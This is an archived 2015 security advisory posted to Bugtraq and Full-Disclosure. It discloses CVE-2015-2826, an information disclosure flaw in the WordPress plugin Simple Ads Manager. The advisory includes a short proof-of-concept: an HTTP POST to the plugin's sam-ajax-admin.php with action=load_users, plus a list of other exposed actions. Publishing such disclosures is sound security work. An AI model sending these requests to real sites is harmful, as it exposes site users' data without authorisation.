bugtraq - Wordpress plugin Simple Ads Manager

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <00a401d06d1e$03ef5f50$0bce1df0$@itas.vn>
Date: Thu, 2 Apr 2015 15:21:23 +0700
From: "ITAS Team" <itas.team@...s.vn>
To: <bugtraq@...urityfocus.com>, <fulldisclosure@...lists.org>
Subject: Wordpress plugin Simple Ads Manager - Information Disclosure

#Vulnerability title: Wordpress plugin Simple Ads Manager - Information
Disclosure
#Product: Wordpress plugin Simple Ads Manager
#Vendor: https://profiles.wordpress.org/minimus/
#Affected version: Simple Ads Manager 2.5.94 and 2.5.96
#Download link: https://wordpress.org/plugins/simple-ads-manager/
#CVE ID:  CVE-2015-2826
#Author: Nguyen Hung Tuan (tuan.h.nguyen@...s.vn) & ITAS Team


::PROOF OF CONCEPT::

+ REQUEST
POST /wp-content/plugins/simple-ads-manager/sam-ajax-admin.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 17

action=load_users



+ Function list: load_users, load_authors, load_cats, load_tags, load_posts,
posts_debug, load_stats,...
+ Vulnerable file: simple-ads-manager/sam-ajax-admin.php
+ Image: http://www.itas.vn/uploads/newsother/disclosure.png

+ REFERENCE: 
-
http://www.itas.vn/news/ITAS-Team-found-out-multiple-critical-vulnerabilitie
s-in-Hakin9-IT-Security-Magazine-78.html?language=en


Best regard
--------------------------------
ITAS Team (www.itas.vn)